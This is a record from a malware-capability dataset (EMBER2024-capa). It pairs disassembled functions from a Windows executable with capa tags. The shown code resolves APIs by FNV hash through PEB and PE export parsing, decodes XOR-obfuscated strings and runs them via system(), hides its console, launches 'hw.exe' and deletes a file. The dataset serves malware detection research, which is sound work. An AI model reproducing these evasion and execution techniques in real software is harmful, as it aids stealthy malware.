joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005170
Capabilities:
Access peb ldr_data
Encode data using xor
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140099148]
test rax, rax
jne 0x14000535c
mov rax, qword gs:[0x60]
xor r11d, r11d
mov qword [rsp + 0x48], rbp
mov r9d, 0xd9e5d0af
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x30], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14000521d
psrldq xmm0, 8
mov edx, 0x49a5bb3f
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140005214
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140005200
cmp edx, r11d
jne 0x14000531f
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x14000531f
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000531f
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x49a5bb3f
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140005297
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140005280
cmp edx, r9d
je 0x1400052a3
test r8d, r8d
jne 0x140005260
jmp 0x14000531f
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
cmp rax, rbx
jbe 0x140005337
lea rcx, [r15 + rbx]
cmp rax, rcx
jae 0x140005337
movzx ecx, byte [rax]
mov r11d, 0x49a5bb3f
mov r9d, r11d
cmp cl, 0x2e
je 0x1400052f8
nop dword [rax]
movsx ecx, cl
inc rax
xor ecx, r11d
imul r11d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x1400052e0
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x14000531b
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x140005303
mov rdi, qword [rbp]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x140005335
cmp qword [rax + 0x30], 0
jne 0x1400051d0
xor eax, eax
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov qword [0x140099148], rax
add rsp, 0x38
jmp rax
Function at 0x140005920
Capabilities:
Access peb ldr_data
Encode data using xor
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rcx, qword [0x1400990e8]
test rcx, rcx
jne 0x140005b0b
mov rax, qword gs:[0x60]
xor r11d, r11d
mov qword [rsp + 0x50], rbp
mov r9d, 0x3bcd11cb
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x30], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x1400059cd
psrldq xmm0, 8
mov edx, 0x1155266
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x1400059c4
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x1400059b0
cmp edx, r11d
jne 0x140005ace
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x140005ace
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140005ace
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x1155266
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140005a47
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140005a30
cmp edx, r9d
je 0x140005a53
test r8d, r8d
jne 0x140005a10
jmp 0x140005ace
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov ecx, dword [rcx + rdx*4]
add rcx, r10
cmp rcx, rbx
jbe 0x140005ae6
lea rax, [r15 + rbx]
cmp rcx, rax
jae 0x140005ae6
movzx eax, byte [rcx]
mov r11d, 0x1155266
mov r9d, r11d
cmp al, 0x2e
je 0x140005aa7
nop dword [rax + rax]
movsx eax, al
inc rcx
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x140005a90
movzx eax, byte [rcx + 1]
inc rcx
test al, al
je 0x140005aca
movsx eax, al
lea rcx, [rcx + 1]
xor eax, r9d
imul r9d, eax, 0x1000193
movzx eax, byte [rcx]
test al, al
jne 0x140005ab2
mov rdi, qword [rbp]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x140005ae4
cmp qword [rax + 0x30], 0
jne 0x140005980
xor ecx, ecx
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov qword [0x1400990e8], rcx
call fcn.1400041c0
call fcn.140004950
test eax, eax
je 0x140005b25
mov qword [0], 1
call fcn.140004db0
test eax, eax
je 0x140005b3a
mov qword [0], 1
call fcn.140005170
test eax, eax
je 0x140005b4f
mov qword [0], 1
call fcn.140005370
test al, al
je 0x140005b64
mov qword [0], 1
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], reloc.WS2_32.dll_sendto
call fcn.140011340
add rsp, 0x38
ret
Function at 0x140006270
Capabilities:
Encode data using xor
Execute command

Disassembly:
sub rsp, 0x68
movups xmm1, xmmword [0x14008b438]
movups xmm0, xmmword [0x14008b428]
movups xmmword [rsp + 0x40], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x30], xmm0
test al, al
je 0x14000644f
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000640c
movdqa xmm0, xmmword [str.4444444444444444]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14008b5e0]
movdqa xmm4, xmmword [0x14008b660]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [0x14008b600]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14008b610]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008b610]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x1400062f0
movaps xmm6, xmmword [rsp + 0x50]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x68
ret
lea r8, [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x20
jl 0x140006420
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x68
ret
Function at 0x140006460
Capabilities:
Delete file
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xor ebx, ebx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
lea r8d, [rbx + 3]
lea rdx, [0x140089774]
lea rcx, [rbp - 0x40]
call fcn.140011f90
lea rcx, [rbp - 0x40]
call fcn.140006130
lea rax, [rbp - 0x40]
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
lea r8d, [rbx + 0xb]
lea rdx, str.cufE6XBT8Ck
lea rcx, [rbp - 0x40]
call fcn.140011f90
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
lea r8d, [rbx + 6]
lea rdx, str.406033
lea rcx, [rbp - 0x20]
call fcn.140011f90
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.140005ea0
lea ecx, [rbx + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_hw.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsd xmm0, qword [0x14008adf8]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x14008ae00]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14008ae04]
mov byte [rbp - 0x44], al
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000664c
movdqa xmm4, xmmword [0x14008b660]
movdqa xmm2, xmmword [0x14008b5e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008b600]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008b610]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [0x14008adf8]
xorps xmm2, xmm0
movd dword [rbp - 0x50], xmm2
movdqa xmm3, xmmword [0x14008b5f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008b600]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008b610]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.4444444444444444]
movd xmm0, dword [rbp - 0x4c]
xorps xmm2, xmm0
movd dword [rbp - 0x4c], xmm2
mov ebx, 8
movsxd rax, ebx
lea r8, [rbp - 0x50]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x140006660
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rbp
jmp qword [sym.imp.USER32.dll_ShowWindow]
Function at 0x14000dcd0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000dd67
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000dd67
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xb6cdcc9
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000dd62
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14000dd40
cmp r8d, 0x9700ce19
je 0x14000dd6c
test r9d, r9d
jne 0x14000dd20
mov rax, qword [rax]
jmp 0x14000dcf0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 2
mov rcx, qword [0x140099180]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax

Function at 0x14000dda0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000de37
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000de37
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x346c73ae
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000de32
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14000de10
cmp r8d, 0x25a9c698
je 0x14000de3c
test r9d, r9d
jne 0x14000ddf0
mov rax, qword [rax]
jmp 0x14000ddc0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 4
mov rcx, qword [0x140099180]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax
Function at 0x14000de70
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000df07
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000df07
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x944c8378
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000df02
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14000dee0
cmp r8d, 0xfdd835be
je 0x14000df0c
test r9d, r9d
jne 0x14000dec0
mov rax, qword [rax]
jmp 0x14000de90
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 7
mov rcx, qword [0x140099180]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax

Function at 0x14000df40
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000dfd7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000dfd7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x68810d19
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000dfd2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14000dfb0
cmp r8d, 0x976f2f29
je 0x14000dfdc
test r9d, r9d
jne 0x14000df90
mov rax, qword [rax]
jmp 0x14000df60
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov edx, 8
mov rcx, qword [0x140099180]
add rax, r10
mov rbx, qword [rsp + 0x10]
pop rdi
jmp rax
Function at 0x14000f730
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x14000f753
lea edx, [rax - 0x11]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x14000f740
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140011c00
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14000fd80
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14000fda8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000fdce
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000fdd0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000fe29
test ecx, ecx
jle 0x14000fe09
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000fe29
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000fe29
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x14000fe50
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14000fe72
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14000fe88
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000fea4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000fea6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000fee2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000ff7e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000ff1d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000ff5e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000ff7e
cmp rbx, rax
ja 0x14000ff30
test rbx, rbx
je 0x14000ff7e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400103f0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140098080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14001041d
xor eax, eax
jmp 0x140010589
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140010457
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140010457
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140010589
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14001057c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14001049a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400104c5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140010581
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140010534
sub eax, 1
je 0x140010534
cmp eax, 2
jne 0x14001057c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140010581
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140010562
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14001057c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140010581
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400777f0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret